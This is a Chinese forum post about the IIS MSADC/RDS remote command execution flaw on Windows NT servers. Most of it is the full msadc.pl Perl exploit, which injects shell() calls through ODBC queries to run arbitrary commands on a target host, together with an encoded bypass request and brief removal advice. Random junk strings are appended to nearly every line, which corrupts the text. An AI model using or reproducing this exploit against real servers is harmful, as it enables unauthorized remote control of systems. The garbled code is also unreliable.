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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) .z u0GsU=  
_L mDF8Q(  
涉及程序: sT"U}  
Microsoft NT server %t&n%dhJ  
!7MC[z(|N  
描述: YN1P9j#0d  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 +'9l 2DI;  
)GDP?Nc<Ik  
详细: lE~5 b  
如果你没有时间读详细内容的话,就删除: b[<zT[.:  
c:\Program Files\Common Files\System\Msadc\msadcs.dll DGl_SMJb  
有关的安全问题就没有了。 cD&53FPXC  
S) /(~  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 TFbMrIF  
 <StyO[  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 G992{B  
关于利用ODBC远程漏洞的描述,请参看: !/W[6'M#p  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @EZ@X/8{&  
5Z]zul@+*  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 :-B,Q3d  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp zY\pZG  
0FrmZ$  
这里不再论述。 /3F4t V  
Az29?|e  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 5?+ECxPt  
NIcPjo  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset .lVC>UT  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! jM8e2z3  
lwEJ)Bv  
99%oY  
#将下面这段保存为txt文件,然后: "perl -x 文件名" }5~|h%  
nUi 4!|r  
#!perl 5[.Dlpa'7  
# F-?K]t#  
# MSADC/RDS 'usage' (aka exploit) script T8& kxp  
# $Hcp.J[O  
# by rain.forest.puppy 8W$uw~|dw  
# tMxa:h;/x  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me  -1Acprr  
# beta test and find errors! 3n;UXYJ%  
hj@< wU  
use Socket; use Getopt::Std; gs)wQgJ[  
getopts("e:vd:h:XR", \%args); !|hxr#q=4  
>p4#AfGF  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; M>+FIb(  
&kKopJH  
if (!defined $args{h} && !defined $args{R}) { 6 /^$SWd2  
print qq~ ',L>UIXw  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 0 e 1W&  
-h <host> = host you want to scan (ip or domain) 8?ldD  
-d <seconds> = delay between calls, default 1 second q_eGY&M  
-X = dump Index Server path table, if available S(kj"t*3  
-v = verbose  ]~g6#@l  
-e = external dictionary file for step 5 J%d\ 7  
BdcTKC  
Or a -R will resume a command session U)~?/s{v  
zPWX%1Qr  
~; exit;} C$o#zu q -  
T#'+w@Q9{9  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; \ IJ\  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} u_[^gS7  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 1&A@Zo5|  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); W99MA5P  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} G8%Q$  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } H)&6I33`  
x/*ndH  
if (!defined $args{R}){ $ret = &has_msadc; 4.)hCb  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} !=j\pu} Z  
dI'cZt~n  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" l:v:f@M&  
. "cmd /c "; %N 8/g]`7  
$in=<STDIN>; chomp $in; hA1\+r  
$command="cmd /c " . $in ; {2<A\nW  
fC>3{@h}*  
if (defined $args{R}) {&load; exit;} EgO=7?(pW  
Hn"xn79nc  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; b0 ))->&2  
&try_btcustmr; e;KZTH;  
Mf)0Y~_:R#  
print "\nStep 2: Trying to make our own DSN..."; 5MsE oLg  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 9U1cH qV  
|:_WdU"Q]  
print "\nStep 3: Trying known DSNs..."; ft oz0Vb  
&known_dsn; 'f0*~Wq|  
ad^7t<a}<  
print "\nStep 4: Trying known .mdbs..."; \a]JH\T)Q  
&known_mdb; bl. y4  
`p`)D 6  
if (defined $args{e}){ ~e,k71  
print "\nStep 5: Trying dictionary of DSN names..."; d&K2\n  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } )SG+9!AbMZ  
l]Ozy@ Ib  
print "Sorry Charley...maybe next time?\n"; =KfV;.&  
exit; u4QPO:,a4  
0Lcd@3XL  
############################################################################## @i`*i@g  
~IvAnwQ'  
sub sendraw { # ripped and modded from whisker iHy=92/Ww  
sleep($delay); # it's a DoS on the server! At least on mine... kfaRN ^  
my ($pstr)=@_; KLpu7D5(|  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || w'[lIEP 2$  
die("Socket problems\n"); ]$[J_f*x  
if(connect(S,pack "SnA4x8",2,80,$target)){ ax{+7  k  
select(S); $|=1; ;O=tSEe  
print $pstr; my @in=<S>; W =YFe<Q  
select(STDOUT); close(S); %Od?(m"&  
return @in; )G$/II9d  
} else { die("Can't connect...\n"); }} i=$##  
\tf \fa  
############################################################################## K5-wuD1  
lA[BV7.=7  
sub make_header { # make the HTTP request bDI#'F  
my $msadc=<<EOT gf/$M[H!   
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 @QiuCB  
User-Agent: ACTIVEDATA _[|~(lDJl  
Host: $ip -V@vY42  
Content-Length: $clen vZj:\geV  
Connection: Keep-Alive 'PW~4f/m  
JSXudz5 c  
ADCClientVersion:01.06 ,f0|eu>  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 nG<_&h  
"&;>l<V  
--!ADM!ROX!YOUR!WORLD! BS<5b*wG  
Content-Type: application/x-varg }C1&}hZ  
Content-Length: $reqlen hES_JbX}]  
ssbvuTr  
EOT v%O KOrJ  
; $msadc=~s/\n/\r\n/g; 4DY\QvW5  
return $msadc;} sE87}Lz  
hKP7p   
############################################################################## ,!U._ic'B  
pyA;%vJn  
sub make_req { # make the RDS request ^`ah\L  
my ($switch, $p1, $p2)=@_; : vN'eL|#  
my $req=""; my $t1, $t2, $query, $dsn; *Dx&}"  
b#;%TbDF  
if ($switch==1){ # this is the btcustmr.mdb query ` #Qlr+X  
$query="Select * from Customers where City=" . make_shell(); ^_FB .y%  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ^|yw)N]Q/  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ;Z]i$Vi_r  
TVVL1wZ  
elsif ($switch==2){ # this is general make table query hwkm'$}  
$query="create table AZZ (B int, C varchar(10))"; po@=$HK  
$dsn="$p1";} WW33ZJ  
vR$[#`X  
elsif ($switch==3){ # this is general exploit table query 'TWZ@8h~  
$query="select * from AZZ where C=" . make_shell(); ] ?!#*<t r  
$dsn="$p1";} 5U)Ia>p  
Y r6wYs(%  
elsif ($switch==4){ # attempt to hork file info from index server y8"8QH  
$query="select path from scope()"; '0QrM,B9  
$dsn="Provider=MSIDXS;";} dg[ &5D1Q  
_U}pdzX?  
elsif ($switch==5){ # bad query A$gP: 1&m  
$query="select"; px6[1'|g  
$dsn="$p1";} 6Y4sv5G  
m\QUt ;  
$t1= make_unicode($query); rro92(y  
$t2= make_unicode($dsn); O iRhp(  
$req = "\x02\x00\x03\x00"; f9FJ:?  
$req.= "\x08\x00" . pack ("S1", length($t1)); &'{6_-kh  
$req.= "\x00\x00" . $t1 ; P|,@En 1!  
$req.= "\x08\x00" . pack ("S1", length($t2)); 'Fi\Qk'D@  
$req.= "\x00\x00" . $t2 ; +&?#Gdb  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; y;zp*(}f$h  
return $req;} d:08@~#  
) #G5XS+)  
############################################################################## ' S%?&4  
%M"rc4Xd  
sub make_shell { # this makes the shell() statement bgD4;)?5b  
return "'|shell(\"$command\")|'";} [(Z{5gK  
T,z 7U2O  
############################################################################## cXM4+pa=%  
mS)|i+5  
sub make_unicode { # quick little function to convert to unicode nf#;]FijB  
my ($in)=@_; my $out; _a?c,<A  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } \09m ?;^  
return $out;} HCOv<k  
Nn/me  
############################################################################## Ql`N)!  
/)6+I(H  
sub rdo_success { # checks for RDO return success (this is kludge) quXL'g  
my (@in) = @_; my $base=content_start(@in); #mhR^60,  
if($in[$base]=~/multipart\/mixed/){ 7l Q@I}i  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} NDsF<2A4  
return 0;} X2CpA;#;7l  
?` ?HqR0  
############################################################################## H@ab]&  
p0c*)_a*  
sub make_dsn { # this makes a DSN for us sw<GlF"  
my @drives=("c","d","e","f"); R_? Q`+X  
print "\nMaking DSN: "; y5>X0tT  
foreach $drive (@drives) { {O24:'K&  
print "$drive: "; 4:1URhE  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Mn`);[  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" TVy\%FP^L  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); .|ZO2MCd  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 1 Hw%DJ  
return 0 if $2 eq "404"; # not found/doesn't exist p7H0|>  
if($2 eq "200") { Sv&_LZ-"P  
foreach $line (@results) { =$kSvCjP  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} D==C"}J  
} return 0;} 6ZvGD}/  
o$PY0~#  
############################################################################## |HT5G=dw  
>;wh0dBe  
sub verify_exists { o:oQF[TcFO  
my ($page)=@_; *@;Pns]L-  
my @results=sendraw("GET $page HTTP/1.0\n\n"); [S Jx\Os  
return $results[0];} Ql2zC9C  
[g<rzhC~=  
############################################################################## } O:Y?Wq^  
}:QQ{h_  
sub try_btcustmr { B!J~ t8  
my @drives=("c","d","e","f"); b!lS=zIN  
my @dirs=("winnt","winnt35","winnt351","win","windows"); zDakl*  
6*W7I- A  
foreach $dir (@dirs) { $, I%g<  
print "$dir -> "; # fun status so you can see progress 4%refqWK  
foreach $drive (@drives) { !>E$2}Q|]  
print "$drive: "; # ditto ,)u1r3@I^  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ^T>P  
$reqlenlen=length( "$reqlen" ); _!qi`A  
$clen= 206 + $reqlenlen + $reqlen; :v$][jZ2  
$"e$#<g  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 5t=7-  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} msf%i!  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} @$G{t^&os  
Ms>CO7Nvy  
############################################################################## TzSEQ S{  
-] @cUx  
sub odbc_error { NeI#gJ1A  
my (@in)=@_; my $base; HpCTQ\H  
my $base = content_start(@in); W!Qaa(o?  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this :OEovk(`  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 5rX_85]  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; l&JV.}qGB8  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 8'<RPU}M  
return $in[$base+4].$in[$base+5].$in[$base+6];} g#*LJ `1  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; S {d]0  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . (T65pP_P 7  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ]a=n(`l?  
(R^qY"H 2  
############################################################################## =Z /*  
E'g?44vyw  
sub verbose { . DrGr:UW  
my ($in)=@_;  Iz_#wO  
return if !$verbose; u{J\X$]  
print STDOUT "\n$in\n";} zg}#X6\G<_  
v#^_|  
############################################################################## S UB rFsA  
I+GP`=\  
sub save { 3[*x'"Q;H  
my ($p1, $p2, $p3, $p4)=@_; %(}%#-X  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; OCN:{  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; R+&{lc  
close OUT;} NG+%H1!$_  
} q?*13iy(  
############################################################################## };m.8(}$)  
q9gk:Jt  
sub load { ;;>G}pG  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; G=( ja?d  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); QHHj.ZY  
@p=<IN>; close(IN); 3UgPVCT  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); <lN=<9  
$target= inet_aton($ip) || die("inet_aton problems"); x'iBEm  
print "Resuming to $ip ..."; JTcE{i  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; boeIO\2}P0  
if($p[1]==1) { Xh?J"kjof  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; N"[r_!  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; MwE^.6xl{  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ,>3b|-C-  
if (rdo_success(@results)){print "Success!\n";}  ?QRoSQ6  
else { print "failed\n"; verbose(odbc_error(@results));}} XjFaP {  
elsif ($p[1]==3){ 4(mRLr%l@`  
if(run_query("$p[3]")){ J;5G]$s  
print "Success!\n";} else { print "failed\n"; }} ],|;  
elsif ($p[1]==4){ f\u5=!kjN  
if(run_query($drvst . "$p[3]")){ 9i`MUE1Sh  
print "Success!\n"; } else { print "failed\n"; }} !*!i&0QC~R  
exit;} Ha/Gn !l  
u OB`A-K  
############################################################################## ]N^>>k  
\R.Fmeko  
sub create_table { y.aeXlc[  
my ($in)=@_; =<.h.n  
$reqlen=length( make_req(2,$in,"") ) - 28; :F.eyA|#@G  
$reqlenlen=length( "$reqlen" ); fq(3uE]nC  
$clen= 206 + $reqlenlen + $reqlen; i Qa=4'9;  
my @results=sendraw(make_header() . make_req(2,$in,"")); 7<zI'^l  
return 1 if rdo_success(@results); Ksb55cp`  
my $temp= odbc_error(@results); verbose($temp); ;\54(x}|K  
return 1 if $temp=~/Table 'AZZ' already exists/; z)fg>?AGr  
return 0;} [&5%$ T  
{(5M)|>  
############################################################################## RD6`b_]o  
jc7NYoT:  
sub known_dsn { l0BYv&tu  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go rodr@  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 4<A+Tf  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", K!O7q~s[D  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); &eFv~9  
*n*po.Xr  
foreach $dSn (@dsns) { {SwvUWOf"  
print "."; !glGW[r/7  
next if (!is_access("DSN=$dSn")); "vF7b|I  
if(create_table("DSN=$dSn")){ w1,6%?p(O  
print "$dSn successful\n"; 8;fi1 "F;}  
if(run_query("DSN=$dSn")){ 1z-Q~m@@  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { +"3K)9H  
print "Something's borked. Use verbose next time\n";}}} print "\n";} %Hpz^<`  
W~?mr! `  
##############################################################################  t@+z r3  
4>Y\Y$3  
sub is_access { NGAjajB  
my ($in)=@_; osPrr QoH  
$reqlen=length( make_req(5,$in,"") ) - 28; >mp" =Y  
$reqlenlen=length( "$reqlen" ); 5^ e|802  
$clen= 206 + $reqlenlen + $reqlen; v]U0@#/p  
my @results=sendraw(make_header() . make_req(5,$in,"")); 7NP Ny  
my $temp= odbc_error(@results); mApl}I  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); @YI- @  
return 0;} BE,H`G #h  
lQt* LWd[  
############################################################################## (R^Ca7F  
a3B^RbDP&8  
sub run_query { m ol|E={si  
my ($in)=@_; 9UcSQ"D  
$reqlen=length( make_req(3,$in,"") ) - 28; #TD0)C/  
$reqlenlen=length( "$reqlen" ); Pi'[d7o  
$clen= 206 + $reqlenlen + $reqlen; *6QmYq6c<  
my @results=sendraw(make_header() . make_req(3,$in,"")); c n^z=?  
return 1 if rdo_success(@results);  cE7IHQ  
my $temp= odbc_error(@results); verbose($temp); o0FVVSl  
return 0;} u;H5p\zAzz  
:eL ja*  
############################################################################## +*Pj,+;W  
 &DX  
sub known_mdb { r1AG1Y  
my @drives=("c","d","e","f","g"); `t Zw(Z=h  
my @dirs=("winnt","winnt35","winnt351","win","windows"); tRmH6  
my $dir, $drive, $mdb; &BkdC,o  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; gB}UzEj^<  
)"H r3  
# this is sparse, because I don't know of many }NF7"tOL  
my @sysmdbs=( "\\catroot\\icatalog.mdb", UO8./%'  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", [ |dQZ  
"\\system32\\certmdb.mdb", .Eg[[K_iD  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% &/{x7;e  
1ZRSeh  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", "Rq)%o$Z  
"\\cfusion\\cfapps\\forums\\forums_.mdb", {U7A&e0eW  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", tN&_f==e  
"\\cfusion\\cfapps\\security\\realm_.mdb", &?#!%Ds  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", z|WDqB%/I  
"\\cfusion\\database\\cfexamples.mdb", |<w Z;d  
"\\cfusion\\database\\cfsnippets.mdb", 4<l&cP  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", p WLFJH}N  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", {aYCrk1  
"\\cfusion\\brighttiger\\database\\cleam.mdb", /+{1;}AT  
"\\cfusion\\database\\smpolicy.mdb", O>Ao#_*hOb  
"\\cfusion\\database\cypress.mdb", <"}WpT  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", > @n?W"  
"\\website\\cgi-win\\dbsample.mdb", ZE"Z_E;r  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", XE.Y?{,R$  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Q??nw^8Hi  
); #these are just \ 0aa0=  
foreach $drive (@drives) { "|%'/p  
foreach $dir (@dirs){ `'}c- Q  
foreach $mdb (@sysmdbs) { +,A7XBn  
print "."; ~4C:2  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ r^$WX@ t&  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; X0Z r?$q  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ WJ m:?,  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; OE_>Kw7q  
} else { print "Something's borked. Use verbose next time\n"; }}}}} M$+2f.(>k)  
Y|y X]\,  
foreach $drive (@drives) { V;>u()  
foreach $mdb (@mdbs) { E@D}Sqt  
print "."; q3$;lLsb;j  
if(create_table($drv . $drive . $dir . $mdb)){ q?2kD"%$  
print "\n" . $drive . $dir . $mdb . " successful\n"; e= w.7DSE  
if(run_query($drv . $drive . $dir . $mdb)){ TP?HxO_C  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; N cnL-k.  
} else { print "Something's borked. Use verbose next time\n"; }}}} 23Juu V.  
} r-IG.ym3  
t*cVDA&K  
############################################################################## i}}}x  
Hsi<!g.  
sub hork_idx { @T 8$/  
print "\nAttempting to dump Index Server tables...\n"; us3fBY'  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; pi?[jU[Tn  
$reqlen=length( make_req(4,"","") ) - 28; ,?ci+M)  
$reqlenlen=length( "$reqlen" ); z{ydP Ra  
$clen= 206 + $reqlenlen + $reqlen; XbL\l  
my @results=sendraw2(make_header() . make_req(4,"","")); /8tF7Mmr  
if (rdo_success(@results)){ A3c&VT6Q  
my $max=@results; my $c; my %d; 6<+8[o  
for($c=19; $c<$max; $c++){ (N`x  
$results[$c]=~s/\x00//g; .~ yz1^ c  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; [sweN]b6F  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; n;,>Fv  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; s2M|ni=  
$d{"$1$2"}="";} {rWFgn4Li  
foreach $c (keys %d){ print "$c\n"; } &0QtHcXpR  
} else {print "Index server doesn't seem to be installed.\n"; }} ~<&47'D  
ye-R  
############################################################################## _Vf0MU;3f+  
bRb+3au_x  
sub dsn_dict { ~f:jI1(}  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); RmcQGQ  
while(<IN>){ K^fH:pV  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; -+w^"RBV  
next if (!is_access("DSN=$dSn")); XVNJ3/  
if(create_table("DSN=$dSn")){ GO=3<Q{;  
print "$dSn successful\n"; )OgQ&,#  
if(run_query("DSN=$dSn")){ T{Rhn V1  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { o6~9.~_e  
print "Something's borked. Use verbose next time\n";}}} gBCO>nJws  
print "\n"; close(IN);} ~76qFZe-  
*g;4?_f  
############################################################################## 0'O*Y ]h+  
.P>-Fh,_p  
sub sendraw2 { # ripped and modded from whisker K%/:V  
sleep($delay); # it's a DoS on the server! At least on mine... yk7l{F  
my ($pstr)=@_; Bk9? =  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || XP'7+/A  
die("Socket problems\n"); tW#=St0<.o  
if(connect(S,pack "SnA4x8",2,80,$target)){ j/Rm~!q  
print "Connected. Getting data"; ZQQ0}  
open(OUT,">raw.out"); my @in; f}U@e0Lsb  
select(S); $|=1; print $pstr; aO]FQ#l2b  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} =f*Wj\  
close(OUT); select(STDOUT); close(S); return @in; m6D]   
} else { die("Can't connect...\n"); }} ;mYj`/Yj  
c _faW  
############################################################################## "Ooc;xD3<  
>84:1 `  
sub content_start { # this will take in the server headers P-c<[DSM'I  
my (@in)=@_; my $c; 3~&h9#7 Ke  
for ($c=1;$c<500;$c++) { :4, OA  
if($in[$c] =~/^\x0d\x0a/){ DHnu F@M  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } _[_mmf1;:'  
else { return $c+1; }}} @g~hYc  
return -1;} # it should never get here actually K=`;D  
bPHqZ*f  
############################################################################## Z 71.*  
%x G3z7;  
sub funky { :?.RZKXQF  
my (@in)=@_; my $error=odbc_error(@in); js#72T/_n  
if($error=~/ADO could not find the specified provider/){ L&s|<<L  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; "2~%-;c  
exit;} RN"O/b}qQ  
if($error=~/A Handler is required/){ %W [#60  
print "\nServer has custom handler filters (they most likely are patched)\n"; O3>m,v  
exit;} WFBVAD  
if($error=~/specified Handler has denied Access/){ ]@D#<[5\  
print "\nServer has custom handler filters (they most likely are patched)\n"; %Z#s9QC  
exit;}} |#6))Dh  
}co*%F{1  
############################################################################## RN0=jo!58  
Z<,$Xv L  
sub has_msadc { <#r/4a"V  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); [V-OYjPAx  
my $base=content_start(@results); {zf)im[.  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); LAT%k2%Wx  
return 0;} 3?rYt:Uf!  
8w|-7$ v  
######################## 8^FAeV#  
F3L'f2yBG  
#& 5}  
解决方案: M((]> *g  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll }#h>*+Q  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 WLe9m02r  
pDg_^|  
拿出来充数 哈哈
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